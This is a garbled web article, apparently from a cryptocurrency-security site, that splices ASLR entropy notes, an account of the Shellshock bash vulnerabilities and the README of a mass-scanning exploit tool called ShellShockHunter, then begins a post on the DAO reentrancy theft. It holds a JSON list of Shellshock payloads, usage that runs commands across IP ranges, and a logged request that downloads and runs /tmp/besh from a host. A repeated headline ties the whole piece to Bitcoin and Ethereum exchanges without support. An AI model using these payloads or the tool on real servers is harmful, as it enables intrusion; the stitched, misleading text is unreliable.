ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Randomization of the address space layout is based on the low probability that an attacker will guess the location of randomly placed regions. Security is improved by increasing the search space. Thus, address space randomization is more efficient when there is more  entropy present in the random offsets. Entropy increases either by increasing the size of the  virtual memory region  in which randomization occurs, or by decreasing the period during which randomization occurs. The period is usually implemented as small as possible, so most systems should increase the randomization of the VMA space.

To bypass randomization, attackers must successfully guess the positions of all the areas they want to attack. For data areas such as the stack and heap, where you can load your own code or payload, you can attack more than one state using  NOP slides  for code or duplicate copies of the data. This allows an attack to succeed if the region is randomized to one of several values. In contrast, areas of code such as the library base and the main executable must be accurately detected. Often these areas are mixed, such as  stack frames being pushed onto the stack and a library being returned to it.

The following variables can be declared:

  • {\displaystyle E_{s}}E_{s} (entropy bits of stack top)
  • {\displaystyle E_{m}}E_{m} (entropy bits of mmap() base)
  • {\displaystyle E_{x}}Former (entropy bits of main executable base)
  • {\displaystyle E_{h}}E_{h} (entropy bits of heap base)
  • {\displaystyle A_{s}}A_s (attacked bits per attempt of stack entropy)
  • {\displaystyle A_{m}}A_{m} (attacked bits per attempt of mmap() base entropy)
  • {\displaystyle A_{x}}A_x (attacked bits per attempt of main executable entropy)
  • {\displaystyle A_{h}}A_h (attacked bits per attempt of heap base entropy)
  • {\displaystyle \alpha }\alpha  (attempts made)
  • {\displaystyle N}N (total amount of entropy: {\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,}{\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,})

To calculate the attacker’s probability of success, we must assume that the number of attempts  α  were completed without being interrupted by a signature IPS, law enforcement, or other factor; in case of brute force, the daemon cannot be restarted. We also need to figure out how many bits matter and how many are attacked on each attempt, leaving as many bits for the attacker to defeat.

The following formulas represent the probability of success for a given set of  α  -attempts on  N  bits of entropy.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

In many systems{\displaystyle 2^{N}} 2^Hcan be in the thousands or millions; on modern 64-bit systems these numbers typically reach into the millions, Hector Marco-Gisbert and Ismael Ripoll showed in 2014 how to bypass ASLR on 64-bit systems in less than one second under certain circumstances.  

On the Effectiveness of Full-ASLR on 64-bit Linux

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

For 32-bit systems at 2004 computer speeds, which have 16 bits for address randomization, Shacham and colleagues claim that “…16 bits of address randomization can be overcome with a Brute-force attack in minutes  .  “

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

  The authors’ claim depends on the ability to attack the same application multiple times without any delay. Proper ASLR implementations, such as those included in grsecurity, provide several ways to make such brute-force attacks impossible. One method involves preventing the executable from running for a configurable period of time if it fails a certain number of times.

Android, and perhaps other systems, will implement  library load order randomization  , a form of ASLR that randomizes the order in which libraries are loaded. This provides very little entropy. Below is the approximate number of bits of entropy provided for each required library; this does not yet take into account the different sizes of libraries, so the actual entropy obtained is indeed somewhat higher. Note that attackers usually only need one library; the math is more complex with multiple libraries and is also shown below. 

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Note that the case where the attacker uses only one library is a simplification of a more complex formula:

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

These values ​​tend to be low even for large values ​​of  l  , which is most important since attackers can usually only use  the C standard library  , and so it can often be assumed that {\displaystyle \beta \,=1} \beta\,=1. However, even for a small number of libraries, some entropy gains can be achieved here; Thus, it is potentially interesting to combine library load order randomization with VMA address randomization to gain a few extra bits of entropy. Note that these extra bits of entropy will not apply to other mmap() segments, only to libraries.

Entropy Decrease:

https://youtube.com/watch?v=DH6FyNY-Gh0%3Fsi%3D5PHh9CqaafkiHKYg

List of vulnerabilities:

CVE-2014-6271

Original bashdoor: A special kind of environment variable consists of a definition of the exported function followed by arbitrary commands. Vulnerable versions of Bash execute these arbitrary commands during startup. Error example: env x='() { :;}; echo Vulnerable’ bash -c “echo Test print”

On vulnerable systems, this test will print the phrase “Vulnerable” by executing the command from the x environment variable.

CVE-2014-6277

As of September 29, details of the vulnerability had not been publicly disclosed .

CVE-2014-6278

As of September 29, details of the vulnerability had not been publicly disclosed.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

CVE-2014-7169

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Discovered by  Tavis Ormandy  while working on  CVE-2014-6271 :

env X='() { (a)=>\' sh -c "echo date"; cat echo

The test causes “echo” to become the filename to redirect the output to and “date” to be executed. The bug has received the number  CVE-2014-7169 .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

An example of error 7169 on a system that received a fix for  CVE-2014-6271  but not for  CVE-2014-7169 : [32] $ X='() { (a)=>\’ bash -c “echo date” bash: X : line 1: syntax error near unexpected token `=’ bash: X: line 1: `’ bash: error importing function definition for `X’ [root@ ec2-user] # cat echo Fri Sep 26 01:37:16 UTC 2014

Fixing both  CVE-2014-6271  and  CVE-2014-7169  will break the test: $ X='() { (a)=>\’ bash -c “echo date” date $ cat echo cat: echo: No such file or directory

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

CVE-2014-7186

The error is caused by similar problems in Bash code but is affected by repeating “<<EOF” over and over again Testbash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “Vulnerable by CVE-2014-7186, redir_stack” The vulnerable system will display the text “Vulnerable by CVE-2014-7186, redir_stack.”

CVE-2014-7187

The error is caused by similar problems in Bash code, but is affected by multiple repetitions of “done”Test( for x in {1..200} ; do echo “for x$x in ; do :”; done ; for x in {1. .200} ; do echo done ; done ) | bash || echo “Vulnerable by CVE-2014-7187, word_lineno” A vulnerable system will display the text “Vulnerable by CVE-2014-7187, word_lineno.”

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Attack vectors

Within an hour after the Bash vulnerability was published, reports appeared of computer systems being hacked using it. On September 25, various “in the wild” attacks were confirmed, ranging from simple  DoS to the deployment of command & control servers   through the malicious “BASHLITE” system.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Kaspersky Labs Corporation reported that some of the infected computers launched a DDoS attack against three targets [8] . On September 26, the “wopbot” botnet was discovered, composed of servers infected through bashdoor, and used in DDoS against  Akamai Technologies CDN  and to scan US Department of Defense networks [7] .

There are several potential ways that an attacker could use to pass arbitrary environment variables to bash running on the target server:

CGI attack on Bitcoin blockchain web servers.

Web servers running  Common Gateway Interface  (CGI) scripts pass details about the user request through environment variables such as HTTP_USER_AGENT. If the request is processed by the Bash program, or another program that calls bash internally, then the attacker can replace the User-Agent string transmitted via http with the Shellshock attack trigger, adding his own commands. For example, the “ping” instruction with the attacker’s address can be used as such a command. Based on incoming ping requests, the attacker knows whether the attack worked.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Although CGI is an outdated interface with other security risks [37] , it is still used. For example, one of the standard  cPanel scripts [38] is vulnerable ; it is estimated that a vulnerable cPanel can be used on 2-3% of websites [39] .

Attack on SSH server

The OpenSSH SSH server   allows you to limit the user to a fixed set of available commands (the “ForceCommand” option). The fixed command is executed even if the user has requested the execution of another command. The requested command is then stored in the environment variable “SSH_ORIGINAL_COMMAND”. If a fixed command is executed in a Bash shell (if the user shell is installed in Bash), GNU Bash will detect the SSH_ORIGINAL_COMMAND values ​​embedded in the environment at startup, and, if vulnerable to Bashdoor, will execute the commands embedded there. Thus, an attacker with access only to a limited shell gains unrestricted access [3] .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

The OpenSSH kit contains the following components: ssh Replacement for  rlogin  and  telnet .scp Replacement for  rcp , using the SFTP protocol in modern versions of OpenSSH   (previously the less reliable and flexible  SCP was used ). sftp Replacement for  the FTP client, using the  SFTP protocol .sshd Daemon , which actually provides secure access to resources. Includes an SFTP  server  implementation suitable  for providing  chroot access to users without having to copy any files inside chroot.sftp-server Separate implementation of the  SFTP subsystem  (server  part). It has more capabilities than the built-in  sshd .ssh-keygen Key pair generator .ssh-keysign Utility for checking host keys. Enabled when using host authentication (similar to  rsh ) instead of the default user authentication. ssh-keyscan Helper utility. Allows you to collect public keys from other hosts.ssh-agentHelper utility. Maintains  a cache of private keys. Caching allows you to avoid having to frequently enter a password to decrypt keys before using them. ssh-add Helper utility. Adds keys to the  ssh-agent cache .

Safe tunnels

Port Forwarding

Most programs use the  TCP protocol to establish a connection , the traffic of which can be transmitted through a secure tunnel. This way you can establish many additional TCP connections on top of a single SSH connection. This is useful for hiding connections and encrypting protocols that are insecure, as well as for bypassing firewall restrictions. UDP connections can sometimes also be tunneled using additional programs such as  netcat . The easiest protocols to tunnel are  HTTP ,  POP3  and  VNC .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Port forwarding is possible in any direction.

Additionally, some software can automatically use OpenSSH to create a tunnel. For example  DistCC ,  CVS ,  rsync , and  fetchmail .

Of the protocols that are more difficult to tunnel, it is worth noting  FTP , which can often be replaced by  SFTP , and  SMB . On some operating systems, remote  file systems  can be mounted via ssh using  shfs ,  lufs  and other similar components.

X Window System

OpenSSH allows you to securely organize connections to the X Window System, taking into account the “revolution” of semantics: the host SSH client for the X Window System is a server, and vice versa. To do this, OpenSSH performs additional operations such as setting the DISPLAY environment variable.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

SOCKS

OpenSSH can be used as a special  SOCKS  proxy server that supports more flexible proxying than just port forwarding.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

VPN

Since version 4.3, OpenSSH can use OSI layer 2 and layer 3 tunnel network interfaces   ( tun ). This way, you can organize a secure VPN and avoid the need to redesign applications to support SOCKS.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Authentication

The OpenSSH server can authenticate users using built-in authentication mechanisms:

  • Public keys,
  • Keyboard input (passwords and challenge-response),
  • Kerberos/GSS-API.

In addition, OpenSSH Portable can usually use authentication methods available on the specific operating system, such as  BSD Authentication  or  PAM .

DHCP client attack

A DHCP client typically requests an IP address from a DHCP server. However, the server may send several additional options that can be written to environment variables and lead to the exploitation of the Shellshock error on a computer or laptop connected to the local network.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Elevating privileges through setuid programs

A program with the setuid bit set can call bash directly, or indirectly through  system(3) , popen , and other system calls, without clearing environment variables. A Shellshock attack in such cases will allow a local user to escalate their own privileges to the owner of such a setuid program, often all the way to root (superuser).

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Vulnerability of offline systems

The bug could potentially reach systems that are not connected to the Internet during offline processing with bash.


CVE-2014-6271 (Bash) is an easily exploitable vulnerability that can lead to very serious consequences. By exploiting this vulnerability, an attacker is able to execute system-level commands with the same privileges as the affected services.

In most cases occurring on the Internet today, cybercriminals remotely attack web servers that host CGI scripts written in bash.

Currently, the vulnerability has already been exploited by cybercriminals: vulnerable web servers have been infected with malware, and hacker attacks have also been carried out. Kaspersky Lab analysts are constantly discovering new malicious samples and cases of infection using this vulnerability. More information about this malware will be published soon.

It is important to understand that this vulnerability is not tied to a specific service, such as Apache or nginx. Rather, it is a vulnerability in the bash shell that allows an attacker to add system-level commands to bash environment variables.

How is the vulnerability exploited?

I will try to explain the principle of exploitation of the vulnerability using the examples given in information messages and published conceptual code. A CGI script hosted on a web server automatically reads certain environment variables such as IP address, browser version, and local system information.

Now imagine being able to not only pass this normal system information to a CGI script, but also have the script execute system-level commands. This means that as soon as the CGI script is accessed, it reads your environment variables – without any registration with the web server. If the environment variables contain the exploit string, the script will also execute the command you specify.


ShellShockHunter Tool v1.0

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Shellshock (software bug)

Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was discovered on September 24, 2014. Shellshock could allow an attacker to force Bash to execute arbitrary commands and gain unauthorized access to many Internet files. encounter services such as web servers that use Bash to process requests.

GIT CLONE

git clone https://github.com/MrCl0wnLab/ShellShockHunter

INSTALLATION pip

pip install shodan
pip install ipinfo

                                 ,'/
                               ,' /
                             ,'  /_____,
                           .'____    ,'    
                                /  ,'
                               / ,'
                              /,'
                             /'
     ____  _     _____ _     _     ____  _      ___       _    
    / ___|| |__ |___ /| |   | |   / ___|| |__  / _ \  ___| | __
    \___ \| '_ \  |_ \| |   | |   \___ \| '_ \| | | |/ __| |/ /
     ___) | | | |___) | |___| |___ ___) | | | | |_| | (__|   < 
    |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
             __   _   _             _              __                  
            | _| | | | |_   _ _ __ | |_ ___ _ __  |_ |                 
            | |  | |_| | | | | '_ \| __/ _ \ '__|  | |                 
            | |  |  _  | |_| | | | | ||  __/ |     | |                 
            | |  |_| |_|\__,_|_| |_|\__\___|_|     | |                 
            |__|                                  |__| v1.0                
              By: MrCl0wn / https://blog.mrcl0wn.com                                                                          
 
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] [--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <10>] [--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
  -h, --help        show this help message and exit
  --file <ips.txt>  File targets
  --range <ip-start>,<ip-end>
                    Range IP Ex: 192.168.15.1,192.168.15.100
  --cmd-cgi <command shell>
                    Command: uname -a
  --exec-vuln <command shell>
                    Executing commands on vulnerable targets
  --thread <10>, -t <10>
                    Eg. 20
  --check           Checker vuln
  --ssl             Set protocol https
  --cgi-file <cgi.txt>
                    Set file cgi
  --timeout <5>     Set timeout conection
  --all             Teste all payloads
  --debug           Set debugs

COMMAND:

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

What makes this vulnerability unique?

This vulnerability is extremely easy to exploit, which leads to extremely serious consequences – not least due to the number of vulnerable targets. This applies not only to web servers, but also to any software that uses the bash interpreter and reads data that you can control.

Analysts are currently investigating whether other interpreters such as PHP, JSP, Python and Perl are affected by this vulnerability. Depending on how the code is written, the interpreter may, in some cases, use bash to perform a number of functions. In this regard, the exploitation of the CVE-2014-6271 vulnerability can be carried out through other interpreters.

Exploitation of the vulnerability has serious consequences due to the fact that CGI scripts are widely used on many devices: routers, home devices and wireless access points. All of them are also vulnerable, and closing the vulnerability on them is often quite difficult.

PRINTS:

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

How widely is this vulnerability exploited?

It is difficult to give an exact answer to this question. According to Kaspersky Lab information services, the development of exploits and worms began immediately after the publication of information about the vulnerability. The search for vulnerable servers on the Internet is carried out by both white and black hackers.

There is not enough data yet to determine how widespread this vulnerability is . From my personal research, I know that many web servers run on CGI scripts. It is very likely that a large number of exploits will be developed in the future that target local files and network daemons. In addition, there are suspicions that OpenSSH and dhcp clients are also vulnerable to this type of attack.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

How to check if there is a vulnerability in my system/website?

The easiest way to check your system for vulnerabilities is to open a bash shell on your system and run the following command:

1“env x='() { :;}; echo vulnerable’ bash  -c “echo this is a test”

If the shell returns the string “vulnerable”, the system needs to be updated.

For more experienced users, there are other tools that allow you to check your server for this vulnerability.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

How to solve a problem?

First of all, you need to update the version of the bash environment. Patches for this vulnerability are available on various Linux distributions. And even though not all patches have proven to be 100% effective to date, you should start by installing them.

If you are using any intrusion detection and/or prevention system, it is also recommended to add/download a signature for this threat. Many public rules have been published.

Finally, check your web server configuration. If there are unused CGI scripts, consider disabling them.

{
    "DEFAULT":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271": 
        "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271-2":
        "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
    "CVE-2014-6271-3":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
    "CVE-2014-7169":
        "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
    "CVE-2014-7186":
        "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
    "CVE-2014-7187":
        "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
    "CVE-2014-6278":
        "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
    "CVE-2014-6278-2":    
        "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
    "CVE-2014-6277":
        "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
    "CVE-2014-*":
        "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

Is there a threat to online banking?

The exploitation of this vulnerability is widely used in relation to servers located on the Internet. Even some workstations running Linux and OSX are vulnerable, but to carry out an attack, cybercriminals need to find an attack vector that allows them to remotely exploit the vulnerability on a specific workstation.

This threat is not aimed at individual users, but at servers located on the Internet. This means that if, for example, your favorite e-commerce or online banking site is vulnerable, attackers could theoretically hack the server and gain access to your personal data, including possibly banking information.

It’s difficult to say for sure which platforms may be vulnerable and targeted, but I would recommend not making credit card payments or sharing sensitive information online for the next couple of days until virus analysts clear up the situation.

{
    "config": {
        "threads": 10,
        "path": {
            "path_output": "output/",
            "path_wordlist": "wordlist/",
            "path_modules": "modules/",
            "path_assets": "assets/"
        },
        "files_assets":{
            "config": "assets/config.json",
            "autor": "assets/autor.json",
            "exploits": "assets/exploits.json"
        },
        "api":{
            "shodan":"",
            "ipinfo":""
        }
    }
}

How can I determine if I have been targeted by an attack using this vulnerability?

We recommend reviewing your HTTP logs for suspicious activity, such as this:

1192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] “GET / HTTP/1.0” 400 349 “() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;”

There are also some patches for the bash environment that log every command passed to the bash interpreter, allowing you to see if your computer has been attacked. They will not protect you from an attack that exploits this vulnerability , but they will log the attacker’s actions on your system.

│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│       ├── banner.png
│       ├── print01.png
│       ├── print02.png
│       └── print03.png
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └── thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
└── cgi.txt

How serious is this threat?

The threat is indeed serious, but not every system is vulnerable. Thus, for a successful attack on a web server, a number of conditions must be met. One of the biggest problems now is that after patches are published, researchers begin to look for other ways to exploit the bash environment, analyze the various conditions that make exploitation possible, etc. In this regard, a patch that protects against remote code execution will not be able to prevent, for example, overwriting a file. Apparently, a number of patches will be published in the future, and until then the systems will remain vulnerable.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Is this the new Heartbleed?

Compared to Heartbleed, this vulnerability is much easier to exploit. Moreover, in the case of Heartbleed, a cybercriminal could only steal data from memory in the hope that something worthwhile would be found among them, while the bash vulnerability makes it possible to completely control the system. Thus, it appears to be much more dangerous than Heartbleed.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Could this vulnerability be used to launch APT attacks in the future?

Of course, in the future this vulnerability could be used to develop malware. Malicious programs may appear that automatically check the attacked infrastructure for the presence of this vulnerability, with the aim of further infecting the system or carrying out other types of attacks.


This vulnerability is related to  bash’s “function export” feature  . The export command is used to export a variable or function to the environment of all child processes running in the current shell. This  “function export” feature  is implemented by encoding the scripts in a table that is common to all instances called the environment variable list.

Although Bash is not an Internet-facing service, many network and Internet services use environment variables to communicate with the server OS. If these environment variables are not cleared before execution, an attacker can send commands via HTTP requests and have them executed by the server operating system.

Operation vectors:

  1. CGI based web server
  2. OpenSSH server
  3. DHCP clients
  4. Qmail server
  5. IBM HMC Limited Shell
  6. CGI based web server:

CGI stands for Common Gateway Interface and is used to process document requests. When a certain amount of information is copied from a request into a list of environment variables, and if that request is delegated by a handler program that is a bash script, then bash will receive the environment variables passed by the server and process them. This allows an attacker to trigger a Shellshock vulnerability using a specially crafted document request.

Nmap :

You can use this two commands to find whether the target website is vulnerable to Shellshock or not.

nmap -sV -p- --script http-shellshock <target>
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

CGI uses bash as its default request handler and this attack does not require any authentication, so most attacks occur on CGI pages to exploit this vulnerability. CGI scripts can be extremely dangerous if not carefully checked.

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

2.  OpenSSH server:

OpenSSH is also known as  OpenBSD Secure Shell. It is a set of secure networking utilities based on the SSH protocol, which provides a secure channel over an insecure network in a client-server architecture.

OpenSSH has a  “ForceCommand” feature  , where a fixed command is executed when the user logs in, rather than just launching an unconstrained shell. A fixed command runs even if the user has specified that another command should be run; in this case, the original command is placed in the  “SSH_ORIGINAL_COMMAND” environment variable  . When a force command is run in the Bash shell, the Bash shell parses the  SSH_ORIGINAL_COMMAND environment variable  at startup and runs the commands built into it. A user used their restricted shell access to gain unrestricted shell access by exploiting the Shellshock bug.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

3.  DHCP clients:

DHCP stands for Dynamic Host Configuration Protocol. It is a network management protocol used in Internet Protocol networks in which a DHCP server dynamically assigns an IP address and other network configuration parameters to each device on the network so that they can communicate with other IP networks.

Some DHCP clients can also pass Bash commands; a vulnerable system can be attacked when connected to an open Wi-Fi network. A DHCP client typically requests and receives an IP address from a DHCP server, but it can also be given a number of additional options. In one of these variations, a malicious DHCP server could provide a string designed to execute code on a vulnerable workstation or laptop.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

4.  Qmail server:

Qmail  is a mail transfer agent running on Unix. It was written in December 1995 by Daniel J. Bernstein as a more secure replacement for the popular Sendmail program.

When using Bash to process email messages (for example, through a .forward channel or qmail-alias), the qmail mail server passes external input in such a way that a vulnerable version of Bash can be used.

Checking for CGI scripts

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

5.  IBM HMC Limited Shell:

A restricted  shell  is a Unix shell that restricts some of the capabilities available to an interactive user session or to a shell script running within it. It is intended to provide an extra layer of security, but it is not sufficient to run completely untrusted software.

This bug can be used to gain access to Bash from a limited shell of the IBM  Hardware Management Console  , a tiny Linux variant for system administrators. IBM has released a fix to resolve this issue.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Shellshock attack vectors?

When you send a request and when that request is received by the server, there are three parts of the request that can be vulnerable to a Shellshock attack.

  1. Requested URL
  2. Headers in requests (eg user agent, referrer, etc.)
  3. Arguments in requests (for example, name, id, etc.)

A Shellshock vulnerability typically occurs when an attacker modifies the original HTTP request to contain the magic  () {:; }; a thread.

Let’s say the attacker changed the User-Agent header from  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0  to just  () { :; }; /bin/extract

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

This will create the following variable inside the web server:  HTTP_USER_AGENT=() { :; }; /bin/extract

Now, if the web server passes this variable to bash, a Shellshock vulnerability occurs.

Instead of treating the  HTTP_USER_AGENT variable  as a sequence of characters that has no special meaning, bash interprets it as a command that needs to be executed. The problem is that  HTTP_USER_AGENT  comes from the  User-Agent header  , which is controlled by the attacker as it comes to the web server in the HTTP request.


Literature:


Source

POLYNONCE ATTACK

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/fIYYi1kGEnc

Source: https://cryptodeeptools.ru/shellshock-attack-on-bitcoin


ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

]]>
Cryptanalysis of the DAO exploit & Multi-Stage Attack https://cryptodeeptools.ru/dao-exploit/ Thu, 22 Jun 2023 14:45:14 +0000 https://cryptodeeptools.ru/?p=2321

In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and advanced recount of the attack, the blog posts by Phil Daian and Peter Vessenes are highly recommended.

This post will be the first in what is potentially a series, deconstructing and explaining what went wrong at the technical level while providing a timeline tracing the actions of the attacker back through the blockchain. This first post will focus on how exactly the attacker stole all the money in the DAO.

A Multi-Stage Attack

This exploit in the DAO is clearly not trivial; the exact programming pattern that made the DAO vulnerable was not only known, but fixed by the DAO creators themselves in an earlier intended update to the framework’s code. Ironically, as they were writing their blog posts and claiming victory, the hacker was preparing and deploying an exploit that targeted the same function they had just fixed to drain the DAO of all its funds.

Let’s get into the overview of the attack. The attacker was analyzing DAO.sol, and noticed that the ‘splitDAO’ function was vulnerable to the recursive send pattern we’ve described above: this function updates user balances and totals at the end, so if we can get any of the function calls before this happens to call splitDAO again, we get the infinite recursion that can be used to move as many funds as we want (code comments are marked with XXXXX, you may have to scroll to see em):

function splitDAO(
  uint _proposalID,
  address _newCurator
) noEther onlyTokenholders returns (bool _success) {

  ...
  // XXXXX Move ether and assign new Tokens.  Notice how this is done first!
  uint fundsToBeMoved =
      (balances[msg.sender] * p.splitData[0].splitBalance) /
      p.splitData[0].totalSupply;
  if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) // XXXXX This is the line the attacker wants to run more than once
      throw;

  ...
  // Burn DAO Tokens
  Transfer(msg.sender, 0, balances[msg.sender]);
  withdrawRewardFor(msg.sender); // be nice, and get his rewards
  // XXXXX Notice the preceding line is critically before the next few
  totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST
  balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO
  paidOut[msg.sender] = 0;
  return true;
}

The basic idea is this: propose a split. Execute the split. When the DAO goes to withdraw your reward, call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as “the attacker wants to run more than once” will run more than once. What does that do? Well, the source code is in TokenCreation.sol, and it transfers tokens from the parent DAO to the child DAO. Basically the attacker is using this to transfer more tokens than they should be able to into their child DAO.

How does the DAO decide how many tokens to move? Using the balances array of course:

uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply;

Because p.splitData[0] is going to be the same every time the attacker calls this function (it’s a property of the proposal p, not the general state of the DAO), and because the attacker can call this function from withdrawRewardFor before the balances array is updated, the attacker can get this code to run arbitrarily many times using the described attack, with fundsToBeMoved coming out to the same value each time.

